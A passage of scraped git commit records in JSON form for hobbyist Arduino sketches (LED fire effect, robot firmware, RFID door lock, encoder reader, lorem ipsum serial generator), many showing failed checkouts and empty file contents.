drifts 'up' and diffuses a little\n for( int k= NUM_LEDS - 1; k >= 2; k--) {\n heat[k] = (heat[k - 1] + heat[k - 2] + heat[k - 2] ) \/ 3;\n }\n \n \/\/ Step 3. Randomly ignite new 'sparks' of heat near the bottom\n if( random8() < SPARKING ) {\n int y = random8(7);\n heat[y] = qadd8( heat[y], random8(160,255) );\n }\n\n \/\/ Step 4. Map from heat cells to LED colors\n for( int j = 0; j < NUM_LEDS; j++) {\n \/\/ Scale the heat value from 0-255 down to 0-240\n \/\/ for best results with color palettes.\n byte colorindex = scale8( heat[j], 240);\n CRGB color = ColorFromPalette( gPal, colorindex);\n int pixelnumber;\n if( gReverseDirection ) {\n pixelnumber = (NUM_LEDS-1) - j;\n } else {\n pixelnumber = j;\n }\n leds[pixelnumber] = color;\n }\n}\n\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Neopixel-WillF\/Anti-Fire\/Anti-Fire.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"7c08dadf84b41e788acf515b686852c4f69a9616","subject":"Kapitola: Sledovanie \u010diary","message":"Kapitola: Sledovanie \u010diary","repos":"Galeje\/Cing","old_file":"Programy\/04_Pomocou dvoch senzorov.ino","new_file":"Programy\/04_Pomocou dvoch senzorov.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Programy\/04_Pomocou' did not match any file(s) known to git\nerror: pathspec 'dvoch' did not match any file(s) known to git\nerror: pathspec 'senzorov.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"b4379fbc12d6cbc7dd1497e9c3e04b34a9286c36","subject":"First build","message":"First build\n","repos":"csgregg\/maker","old_file":"esp8266\/projects\/Blynk Light Switch v1\/blynk_light_switch_01\/blynk_light_switch_01.ino","new_file":"esp8266\/projects\/Blynk Light Switch v1\/blynk_light_switch_01\/blynk_light_switch_01.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/csgregg\/maker.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"e49aefe6dd8d3d55becfbb40a94a8f13a2cc3d11","subject":"add hummingbird_duo firmware","message":"add hummingbird_duo firmware\n","repos":"songhagwon\/entry-hw,songhagwon\/entry-hw,entrylabs\/entry-hw,entrylabs\/entry-hw,kjsii123\/entry-hw,songhagwon\/entry-hw,entrylabs\/entry-hw,songhagwon\/entry-hw,kjsii123\/entry-hw,songhagwon\/entry-hw,entrylabs\/entry-hw,kjsii123\/entry-hw,entrylabs\/entry-hw,kjsii123\/entry-hw,entrylabs\/entry-hw","old_file":"app\/firmware\/hb_duo\/hummingbirdduo.ino","new_file":"app\/firmware\/hb_duo\/hummingbirdduo.ino","new_contents":"#include <Hummingbird.h>\n\nHummingbird bird;\nbyte remainData;\nbyte misc_port;\n\nvoid setup() {\n bird.init();\n init_analog();\n Serial.begin(9600);\n Serial.flush();\n}\n\nvoid init_analog(void)\n{\n \/\/ ADMUX register\n \/\/ BIt 7,6 \u2013 Set voltage reference to AVcc (0b01)\n \/\/ Bit 5 \u2013 Set ADLAR bit for left adjust to do simple 8-bit reads\n \/\/ Bit 4 \u2013 X\n \/\/ Bit 3:0 \u2013 Sets the current channel, set here to ADC0\n ADMUX = 0x60;\n\n \/\/ ADC Status Register A\n \/\/ We\u2019re only using the comparator right now, so just set ADC clock\n \/\/ Bit 7 \u2013 ADEN is cleared (Analog is only enabled when doing a read)\n \/\/ Bit 6 \u2013 We\u2019ll start a conversion later\n \/\/ Bit 5 \u2013 Enable Auto Trigger\n \/\/ Bit 3 \u2013 No ADC Interrupt\n \/\/ Bit 2:0 \u2013 Set to create a clock divisor of 16, to make ADC clock \\\n = 8,000,000\/16 = 500,000 Hz\n ADCSRA = 0b10000100;\n\n \/\/ ADC Status Register B\n \/\/ Bit 7 \u2013 ADC High speed mode enabled; may be unnecessary\n \/\/ Bit 5 \u2013 Mux mode, cleared for single ended input\n \/\/ Bit 3:0 \u2013 Set interrupt mode, currently cleared\n ADCSRB = 0x00;\n\n \/\/ Digital input disable \u2013 disabling digital ins on ADC0, 1, 4, 5, 6\n DIDR0 = 0x73;\n}\n\nvoid loop() {\n static int Disable_Tx_Analog=0;\n \/\/ put your main code here, to run repeatedly:\n while (Serial.available()) {\n if (Serial.available() > 0) {\n char c = Serial.read();\n #if 0\n char stmp[16];\n if (c=='0') Disable_Tx_Analog=1-Disable_Tx_Analog;\n if (c=='1') bird.setLED(1,100); \/\/LED1\n if (c=='2') bird.setLED(2,100); \/\/LED2\n if (c=='3') bird.setLED(3,100); \/\/LED3\n if (c=='4') bird.setLED(4,100); \/\/LED4\n if (c=='5') bird.setTriColorLED(1,20,0,0);\n if (c=='6') bird.setTriColorLED(1,0,20,0);\n if (c=='7') bird.setTriColorLED(1,0,0,20);\n if (c=='a') bird.setServo(1,0);\n if (c=='b') bird.setServo(1,90);\n if (c=='c') bird.setServo(1,180);\n if (c=='d') bird.setMotor(1,10);\n if (c=='e') bird.setMotor(1,-10);\n if (c=='f') bird.setMotor(1,200);\n if (c=='g') bird.setMotor(1,-200);\n if (c=='i') bird.setVibration(1,80);\n if (c=='j') bird.setVibration(1,255);\n if (c=='l') {sprintf(stmp,\"%d \",bird.readSensorValue(1)); Serial.print(stmp);}\n if (c=='m') {sprintf(stmp,\"%d \",bird.readSensorValue(4)); Serial.print(stmp);} \n #endif\n \n updateDigitalPort(c);\n }\n }\n if (Disable_Tx_Analog) return;\n delay(15);\n sendPinValues();\n delay(10);\n}\n\nvoid sendPinValues()\n{\n int pin = 0;\n\n \/\/ read Analog Ports 0..3\n for (pin = 0; pin < 4; pin++)\n sendAnalogValue(pin);\n}\n\nvoid updateDigitalPort (char c) {\n \/\/ first data\n if (c & 0x80) {\n \/\/ is output\n if (c & 0x40) {\n \/\/ is data end at this chunk\n if (c & 0x20) {\n \/\/ for Digital write\n \/\/ \n int port = (c >> 1) & B1111;\n\/\/ setPortWritable(port);\n if (c & 1)\n digitalWrite(port, HIGH);\n else\n digitalWrite(port, LOW);\n }\n else {\n remainData = c;\n }\n } else {\n misc_port = 1;\n remainData = c;\n }\n } else {\n int port = (remainData >> 1) & B1111;\n int value = ((remainData & 1) << 7) + (c & B1111111);\n if (misc_port) {\n switch (port) {\n case 0 : if (value&0x80) value=-value; bird.setMotor(1, 2*value); break; \/\/ motor1 velocity\n case 1 : if (value&0x80) value=-value; bird.setMotor(2, 2*value); break; \/\/ motor2 velocity\n case 2 : bird.setServo(1, value); break; \/\/ servo1 degree\n case 3 : bird.setServo(2, value); break; \/\/ servo2 degree\n case 4 : bird.setServo(3, value); break; \/\/ servo3 degree\n case 5 : bird.setServo(4, value); break; \/\/ servo4 degree\n default:\n break;\n }\n misc_port = 0;\n }\n else {\n static byte red1,green1,blue1;\n static byte red2,green2,blue2;\n switch(port) {\n case 2 : bird.setLED(1,value); break; \/\/ LED1 intensity\n case 3 : bird.setLED(2,value); break; \/\/ LED2 intensity\n case 0 : bird.setLED(3,value); break; \/\/ LED3 intensity\n case 1 : bird.setLED(4,value); break; \/\/ LED4 intensity\n case 7 : red1=value; break; \/\/ \n case 4 : green1=value; break; \/\/\n case 12: blue1=value; bird.setTriColorLED(1,red1,green1,blue1); break;\n case 5 : red2=value; break;\n case 6 : green2=value; break;\n case 11: blue2=value; bird.setTriColorLED(2,red2,green2,blue2); break;\n case 9 : bird.setVibration(1,2*value); break;\n case 10: bird.setVibration(2,2*value); break;\n }\n }\n remainData = 0;\n }\n}\n\nvoid sendAnalogValue(int pinNumber) {\n int value = bird.readSensorValue(pinNumber+1);\n Serial.write(B11000000\n | ((pinNumber & B111)<<3)\n | ((value>>7) & B111));\n Serial.write(value & B1111111);\n}\n\nvoid sendDigitalValue(int pinNumber) {\n if (digitalRead(pinNumber) == HIGH) {\n Serial.write(B10000000\n | ((pinNumber & B1111)<<2)\n | (B1));\n } else {\n Serial.write(B10000000\n | ((pinNumber & B1111)<<2));\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'app\/firmware\/hb_duo\/hummingbirdduo.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"72d79d194579b82d3eb05113d2318099fbfc8dda","subject":"Accidentally I deleted the arduino code, which is now put back","message":"Accidentally I deleted the arduino code, which is now put back\n","repos":"Somnitec\/symbioticautonomousmachine,Somnitec\/symbioticautonomousmachine,Somnitec\/symbioticautonomousmachine","old_file":"SAM arduino code\/minimal_SAM_Csharp\/minimal_SAM_Csharp.ino","new_file":"SAM arduino code\/minimal_SAM_Csharp\/minimal_SAM_Csharp.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'SAM' did not match any file(s) known to git\nerror: pathspec 'arduino' did not match any file(s) known to git\nerror: pathspec 'code\/minimal_SAM_Csharp\/minimal_SAM_Csharp.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"92c4370c90fffb2b43c81b309879e652a3d0604c","subject":"initial version of custom arduino firmware","message":"initial version of custom arduino firmware\n\n","repos":"fermio\/motorsport-display,fermio\/motorsport-display","old_file":"arduino\/firmware\/firmware.ino","new_file":"arduino\/firmware\/firmware.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/fermio\/motorsport-display.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"4fef3ba2d716e50526273c5ac89907660c9b2d3e","subject":"Commit arduino","message":"Commit arduino\n","repos":"CHMachine\/CHMachine-Software,CHMachine\/CHMachine-Software","old_file":"CHMachine_Arduino\/CHMachine_Arduino.lnk.ino","new_file":"CHMachine_Arduino\/CHMachine_Arduino.lnk.ino","new_contents":"\/*\n COCK HERO MACHINE serial connection V.0.9\n http:\/\/cockheromachine.blogspot.it\/\n cockheromachine@gmail.com\n \n This program is expected to receive over serial an 8bit integer value between the string 'V' and any other string(e.g. V100S) to vary the pulse width accordingly on the analog pin. \n The pin PWM goes to 0 after 200ms if no integers are sent.\n \n*\/\n\nint Value = 0;\nint pin = 5;\nint timelimit = 200;\nlong timer = 0;\n\n\nvoid setup() {\n \/\/ initialize the digital pin as an output.\n pinMode(pin, OUTPUT);\n Serial.begin(9600);\n \/\/Serial.print(\"connOK\"); \n \n}\n\n\/\/ the loop routine runs over and over again forever:\nvoid loop() {\n \n if (Serial.available() > 2) {\n\n if (Serial.peek() == 'V') { \/\/check for the character that signifies that this will be on\n Serial.read(); \/\/remove the first character\n Value = Serial.parseInt(); \/\/read the value\n analogWrite(pin, Value); \/\/ set the state of the PIN\n timer = millis(); \/\/reset the timer\n }\n\n else if (Serial.peek() == 'T') { \/\/check for the character that signifies that this will be on\n Serial.println(\"connOK\"); \/\/send a string\n while (Serial.available() > 0) \n Serial.read(); \n }\n else\n Serial.read(); \/\/clear the serial buffer\n\n\n }\n\n if (millis() - timer >= timelimit) { \/\/turn off the pin after some time if no data is received\n analogWrite(pin, 0);\n }\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'CHMachine_Arduino\/CHMachine_Arduino.lnk.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"e15873e0f8b43f74fe290b1f94aad3c2d3600941","subject":"write works, used read sketch to view data","message":"write works, used read sketch to view data\n","repos":"MakerLabsVan\/ACM,MakerLabsVan\/ACM,MakerLabsVan\/ACM,MakerLabsVan\/ACM","old_file":"unit tests\/writer_test\/writer_test.ino","new_file":"unit tests\/writer_test\/writer_test.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'unit' did not match any file(s) known to git\nerror: pathspec 'tests\/writer_test\/writer_test.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"f1df2986e84017ccaf02505056a02502819ac4b9","subject":"Liberar memoria al 'salir' del programa","message":"Liberar memoria al 'salir' del programa\n","repos":"Kaan-Sat\/software-de-vuelo,KaanSatTeam\/software-de-vuelo,KaanSatTeam\/software-de-vuelo,Kaan-Sat\/software-de-vuelo","old_file":"src\/src.ino","new_file":"src\/src.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/KaanSatTeam\/software-de-vuelo.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"dd8a2606c68ed21daad96f853a4cde453212ce12","subject":"Now reads and transmits analog signals","message":"Now reads and transmits analog signals\n","repos":"Darren-Mc\/Arduino,Darren-Mc\/Arduino","old_file":"RotaryEncoderAnalog\/RotaryEncoderAnalog.ino","new_file":"RotaryEncoderAnalog\/RotaryEncoderAnalog.ino","new_contents":"#define c_EncoderPinA A0\n#define c_EncoderPinB A1\n#define c_EncoderPinZ A2\n\nvoid setup()\n{\n Serial.begin(115200);\n \n \/\/ Quadrature encoders\n \/\/ Left encoder\n digitalWrite(A0, HIGH);\n digitalWrite(A1, HIGH);\n digitalWrite(A2, HIGH);\n}\n \nvoid loop()\n{\n while ( Serial.available() == 0 ) {}\n while ( Serial.available() > 0 ) Serial.read();\n uint32_t n = 0;\n uint32_t start = micros();\n while ( Serial.available() == 0 )\n {\n Serial.write(analogRead(A0)\/4);\n Serial.write(analogRead(A1)\/4);\n Serial.write(analogRead(A2)\/4);\n n++;\n }\n Serial.flush();\n Serial.println();\n Serial.println((double)(micros()-start)\/n);\n while ( Serial.available() > 0 ) Serial.read();\n}\n \n","old_contents":"","returncode":1,"stderr":"error: pathspec 'RotaryEncoderAnalog\/RotaryEncoderAnalog.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"f2545ed72a5cc69944797bcec06af3d53db7b291","subject":"Clarify 10hz logging rate instead of 100 mhz","message":"Clarify 10hz logging rate instead of 100 mhz","repos":"adafruit\/Adafruit-GPS-Library,tonesandtones\/Adafruit-GPS-Library,lolisa\/2014-15,lolisa\/2014-15,kaaLabs15\/Adafruit-GPS-Library,huskyroboticsteam\/2014-15,huskyroboticsteam\/2014-15,ulrichard\/Adafruit-GPS-Library,lolisa\/2014-15,huskyroboticsteam\/2014-15","old_file":"examples\/shield_sdlog\/shield_sdlog.ino","new_file":"examples\/shield_sdlog\/shield_sdlog.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/tonesandtones\/Adafruit-GPS-Library.git\/'\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"cc764baf9dee8ea38f76b8faf316c12b43f6ea1f","subject":"Disable debug modes","message":"Disable debug modes\n","repos":"mcrosson\/arduino_safe_lighting,mcrosson\/arduino_safe_lighting","old_file":"src\/src.ino","new_file":"src\/src.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/mcrosson\/arduino_safe_lighting.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"5003c23919cf352c36cc1f37852d765e2814b7a8","subject":"add lock arduino code","message":"add lock arduino code\n","repos":"bloomlj\/jllock,bloomlj\/jllock,bloomlj\/jllock","old_file":"jllock.ino","new_file":"jllock.ino","new_contents":"\/*\n * Write personal data of a MIFARE RFID card using a RFID-RC522 reader\n * Uses MFRC522 - Library to use ARDUINO RFID MODULE KIT 13.56 MHZ WITH TAGS SPI W AND R BY COOQROBOT. \n * -----------------------------------------------------------------------------------------\n * MFRC522 Arduino Arduino Arduino Arduino Arduino\n * Reader\/PCD Uno Mega Nano v3 Leonardo\/Micro Pro Micro\n * Signal Pin Pin Pin Pin Pin Pin\n * -----------------------------------------------------------------------------------------\n * RST\/Reset RST 9 5 D9 RESET\/ICSP-5 RST\n * SPI SS SDA(SS) 10 53 D10 10 10\n * SPI MOSI MOSI 11 \/ ICSP-4 51 D11 ICSP-4 16\n * SPI MISO MISO 12 \/ ICSP-1 50 D12 ICSP-1 14\n * SPI SCK SCK 13 \/ ICSP-3 52 D13 ICSP-3 15\n *\n * Hardware required:\n * Arduino\n * PCD (Proximity Coupling Device): NXP MFRC522 Contactless Reader IC\n * PICC (Proximity Integrated Circuit Card): A card or tag using the ISO 14443A interface, eg Mifare or NTAG203.\n * The reader can be found on eBay for around 5 dollars. Search for \"mf-rc522\" on ebay.com. \n *\/\n\n#include <SPI.h>\n#include <MFRC522.h>\n\n#define RST_PIN 9 \/\/ Configurable, see typical pin layout above\n#define SS_PIN 10 \/\/ Configurable, see typical pin layout above\n\n#define ENABLE_STEPER 6\n#define SETP 5\n#define DIR 4\n\n\nMFRC522 mfrc522(SS_PIN, RST_PIN); \/\/ Create MFRC522 instance\nchar charreceive;\n\n\nvoid setup() {\n pinMode(7, OUTPUT);\n pinMode(ENABLE_STEPER,OUTPUT); \/\/ Enable \n pinMode(SETP,OUTPUT); \/\/ Step \n pinMode(DIR,OUTPUT); \/\/ Dir \n digitalWrite(ENABLE_STEPER,LOW); \/\/ Set Enable low \n \n Serial.begin(4800); \/\/ Initialize serial communications with the PC\n SPI.begin(); \/\/ Init SPI bus\n mfrc522.PCD_Init(); \/\/ Init MFRC522 card\n\/\/ Serial.println(F(\"Write personal data on a MIFARE PICC \"));\n\n\n\n}\n\nvoid loop() {\n \n \/\/ Prepare key - all keys are set to FFFFFFFFFFFFh at chip delivery from the factory.\n MFRC522::MIFARE_Key key;\n for (byte i = 0; i < 6; i++) key.keyByte[i] = 0xFF;\n while(1)\n {\n \/\/ Look for new cards\n if ( ! mfrc522.PICC_IsNewCardPresent()) return;\n\n \/\/ Select one of the cards\n if ( ! mfrc522.PICC_ReadCardSerial()) return;\n \n\/\/ Serial.print(F(\"Card UID:\")); \/\/Dump UID\n String rfidcode = \"\"; \n for (byte i = 0; i < mfrc522.uid.size; i++)\n {\n\/\/ Serial.print(mfrc522.uid.uidByte[i] < 0x10 ? \" 0\" : \" \");\n \/\/ Serial.print(mfrc522.uid.uidByte[i]); \n \/\/Serial.print(mfrc522.uid.uidByte[i], HEX);\n rfidcode+= String(mfrc522.uid.uidByte[i],HEX);\n \/\/delay(2000);\n \n } \n\n Serial.print(rfidcode);\n\n delay(2000);\n charreceive=char(Serial.read());\n while(Serial.available() == 0)\n {;\n }\n charreceive=char(Serial.read());\n delay(2); \n if(charreceive=='Y')\n {\n digitalWrite(7, HIGH); \/\/ turn the LED on (HIGH is the voltage level)\n delay(1000); \/\/ wait for a second\n digitalWrite(7, LOW); \/\/ turn the LED off by making the voltage LOW\n delay(1000); \/\/ wait for a second\n\n \/\/ open the door\n \n int x;\n digitalWrite(DIR,HIGH); \/\/ Set Dir high\n for(x = 0; x < 90; x++) \/\/ Loop 200 times \n { \n digitalWrite(SETP,HIGH); \/\/ Output high \n delayMicroseconds(500); \/\/ Wait 1\/2 a ms \n digitalWrite(SETP,LOW); \/\/ Output low \n delayMicroseconds(500); \/\/ Wait 1\/2 a ms \n } \n \n delay(3000); \/\/ pause one second\n \n digitalWrite(DIR,LOW); \/\/ Set Dir low\n for(x = 0; x < 90; x++) \/\/ Loop 2000 times \n { \n digitalWrite(SETP,HIGH); \/\/ Output high \n delayMicroseconds(500); \/\/ Wait 1\/2 a ms \n digitalWrite(SETP,LOW); \/\/ Output low \n delayMicroseconds(500); \/\/ Wait 1\/2 a ms \n } \n delay(1000); \/\/ pause one second \n\n\n }\n\/\/ \n\/\/ if(charreceive=='N')\n\/\/ {\n\/\/ Serial.println(F(\"NO\"));\n\/\/ }\n\/\/ if(charreceive=='E')\n\/\/ {\n\/\/ Serial.println(F(\"ERROR\")); \n\/\/ } \n\n } \n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'jllock.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"8e28fd511143d341809fab4dd577b6742bfc897c","subject":"Code for Muscle SS updated so that it works on raw signal and it calculates envelope","message":"Code for Muscle SS updated so that it works on raw signal and it calculates envelope\n","repos":"BackyardBrains\/SpikerShield,BackyardBrains\/SpikerShield","old_file":"Muscle\/Arduino Code\/Complete\/MuscleSpikerShiledComplete.ino","new_file":"Muscle\/Arduino Code\/Complete\/MuscleSpikerShiledComplete.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Muscle\/Arduino' did not match any file(s) known to git\nerror: pathspec 'Code\/Complete\/MuscleSpikerShiledComplete.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"daf524200e2047a64a7e5cf49e621b59b28cdfdf","subject":"Creating arduino stub","message":"Creating arduino stub\n","repos":"binarycounter\/PkSploit,binarycounter\/PkSploit","old_file":"arduino\/pksploit_link_bridge\/pksploit_link_bridge.ino","new_file":"arduino\/pksploit_link_bridge\/pksploit_link_bridge.ino","new_contents":"void setup() {\n \/\/ put your setup code here, to run once:\n\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/pksploit_link_bridge\/pksploit_link_bridge.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"292aaa13826d682fb660da07524d1f7c94421329","subject":"Created a bulk text generator to test the system","message":"Created a bulk text generator to test the system\n","repos":"BleuLlama\/LlamaTerminal,BleuLlama\/LlamaTerminal,BleuLlama\/LlamaTerminal,BleuLlama\/LlamaTerminal","old_file":"Arduino\/LlamaLlipsum\/LlamaLlipsum.ino","new_file":"Arduino\/LlamaLlipsum\/LlamaLlipsum.ino","new_contents":"\/*\n * LlamaLlipsum\n *\n * A simple thing to appear as a serial device, and allow \n * for various amounts of lorem ipsum to be generated.\n * Originally made as a testing device for LlamaTerm.\n * \n * v1.0 2016-02-24 yorgle@gmail.com\n *\/\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Autobaud\n\nlong bauds[] = { \/*115200,*\/ 9600, 19200, 4800, 57600, \/\/ common\n 2400, 1200, 38400, 28800, 14400, 1200, 0 }; \/\/ less common\n\/\/ doesn't seem to work for 300, 2400, 115200 baud\n\/\/ well, it detects 115200, but it doesn't work\n\nlong baud = 0;\n\nvoid serial_connected( void )\n{\n Serial.flush();\n Serial.print( \"CONNECT \" );\n Serial.println( baud, DEC );\n}\n\nvoid autobaud_begin( void )\n{\n baud = 0;\n do {\n Serial.begin( bauds[baud] );\n while( !Serial ); \/\/ leonardo fix\n \n \/\/ wait for a character\n while( !Serial.available() ) { \n #ifdef NEVER\n \/\/ check for break-out\n if( digitalRead( kButton ) == LOW ) {\n baud = kDefaultBaud;\n Serial.end();\n Serial.begin( baud );\n while( !Serial ); \/\/ leonardo!\n serial_connected();\n return;\n }\n #endif\n }\n \n int ch = Serial.read();\n if( ch == 0x0d || ch == 0x0a) {\n baud = bauds[baud];\n serial_connected( );\n return;\n }\n Serial.end();\n \n baud++;\n } while( bauds[baud] != 0 );\n baud = 0;\n}\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ other configuration\n\nint cols = 40;\nint rows = 5;\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ row, col, baud settings\n\nvoid newCols( int w )\n{\n if( w <= 0 ) {\n Serial.println( F( \"Bad number.\" ));\n return;\n }\n \n cols = w;\n Serial.print( w, DEC );\n Serial.println( \" cols.\" );\n \n for( int w=0 ; w<cols ; w++ ) {\n Serial.print( \"-\" );\n }\n Serial.println( \"\" );\n}\n\nvoid newRows( int h )\n{\n if( h <= 0 ) {\n Serial.println( F( \"Bad number.\" ));\n return;\n }\n\n rows = h;\n Serial.print( h, DEC );\n Serial.println( \" rows.\" );\n}\n\nvoid newBaud( long b )\n{\n if( b < 0 ) {\n Serial.println( F( \"Bad number.\" ));\n return;\n }\n\n\n baud = b;\n if( b <= 10 ) {\n Serial.print( bauds[baud] );\n } else {\n Serial.print( b, DEC );\n }\n Serial.println( \" baud.\" );\n\n Serial.end();\n delay( 100 );\n Serial.begin( baud );\n while( !Serial ); \/\/ leonardo fix\n}\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ arduino setup\nvoid setup()\n{\n \/\/ set up the serial\n \/\/Serial.begin( 9600 );\n autobaud_begin();\n\n Serial.println( \"\" );\n Serial.println( \"LlamaLlipsum\" );\n Serial.println( \"yorgle@gmail.com\" );\n Serial.println( \"Ready.\" );\n Serial.println( \"\" );\n\n newCols( 80 );\n clearLine();\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ lipsum printer\n\n\/\/ the proper way to do this is to put all of the text strings into \n\/\/ PROGMEM, but this fits for now. so we'll just go with it.\n\nconst char * const lipsum[] = {\n \"Lorem\", \"ipsum\", \"dolor\", \"sit\", \"amet,\", \"consectetur\",\n \"adipiscing\", \"elit.\", \"Pellentesque\", \"et\", \"vulputate\",\n \"velit.\", \"Pellentesque\", \"tempor\", \"ligula\", \"id\", \"dolor\",\n \"gravida\", \"convallis.\", \"Duis\", \"sed\", \"dignissim\", \"lectus.\",\n \"Nulla\", \"tempus\", \"nunc\", \"a\", \"maximus\", \"sodales.\", \"Phasellus\",\n \"rhoncus\", \"finibus\", \"suscipit.\", \"Donec\", \"euismod\", \"volutpat\",\n \"erat,\", \"aliquet\", \"auctor\", \"ipsum\", \"vehicula\", \"vitae.\",\n \"Sed\", \"nibh\", \"turpis,\", \"volutpat\", \"in\", \"volutpat\", \"nec,\",\n \"viverra\", \"non\", \"purus.\", \"Proin\", \"malesuada\", \"lobortis\",\n \"elit,\", \"in\", \"porta\", \"nulla\", \"laoreet\", \"et.\", \"Phasellus\",\n \"ligula\", \"turpis,\", \"pellentesque\", \"sed\", \"magna\", \"congue,\",\n \"efficitur\", \"ultrices\", \"tortor.\", \"Morbi\", \"leo\", \"dui,\",\n \"vestibulum\", \"ac\", \"eleifend\", \"tempus,\", \"consequat\", \"eget\",\n \"felis.\", \"Cras\", \"ante\", \"elit,\", \"vestibulum\", \"at\", \"tortor\",\n \"non,\", \"ullamcorper\", \"rutrum\", \"odio.\", \"\", \"Donec\", \"ac\",\n \"urna\", \"eget\", \"lacus\", \"mollis\", \"gravida\", \"sed\", \"sed\",\n \"neque.\", \"In\", \"hac\", \"habitasse\", \"platea\", \"dictumst.\",\n \"Donec\", \"id\", \"posuere\", \"nibh.\", \"Donec\", \"ac\", \"diam\", \"nec\",\n \"augue\", \"blandit\", \"rhoncus\", \"sit\", \"amet\", \"sed\", \"risus.\",\n \"Praesent\", \"quis\", \"ullamcorper\", \"nibh,\", \"eu\", \"rhoncus\",\n \"tortor.\", \"Praesent\", \"pulvinar\", \"tristique\", \"ornare.\",\n \"Curabitur\", \"non\", \"lectus\", \"nec\", \"turpis\", \"tincidunt\",\n \"aliquet\", \"vitae\", \"at\", \"ex.\", \"Proin\", \"leo\", \"nisi,\",\n \"convallis\", \"vel\", \"auctor\", \"sed,\", \"imperdiet\", \"ac\",\n \"tortor.\", \"Sed\", \"dignissim\", \"nulla\", \"vel\", \"tortor\",\n \"interdum,\", \"non\", \"tempus\", \"orci\", \"imperdiet.\", \"Donec\",\n \"convallis\", \"nibh\", \"quis\", \"ligula\", \"feugiat,\", \"eget\",\n \"dictum\", \"urna\", \"vulputate.\", \"\", \"Nam\", \"vehicula,\", \"leo\",\n \"a\", \"dignissim\", \"tempus,\", \"purus\", \"orci\", \"pellentesque\",\n \"lectus,\", \"nec\", \"porta\", \"magna\", \"neque\", \"at\", \"augue.\",\n \"Pellentesque\", \"lacinia\", \"blandit\", \"risus,\", \"ac\", \"vestibulum\",\n \"odio\", \"scelerisque\", \"nec.\", \"Phasellus\", \"sed\", \"ultricies\",\n \"dolor.\", \"Nunc\", \"vehicula\", \"mi\", \"mi,\", \"in\", \"pellentesque\",\n \"nisi\", \"dignissim\", \"eget.\", \"Proin\", \"sodales,\", \"ex\", \"a\",\n \"blandit\", \"finibus,\", \"arcu\", \"velit\", \"mattis\", \"purus.\",\n#ifdef NEVER\n \"vitae,\", \"suscipit\", \"ex\", \"lacus\", \"ut\", \"elit.\", \"Quisque\",\n \"feugiat\", \"non\", \"tellus\", \"quis\", \"cursus.\", \"Nulla\", \"quis\",\n \"dolor\", \"vel\", \"mi\", \"faucibus\", \"egestas.\", \"\", \"Vivamus\",\n \"cursus\", \"quis\", 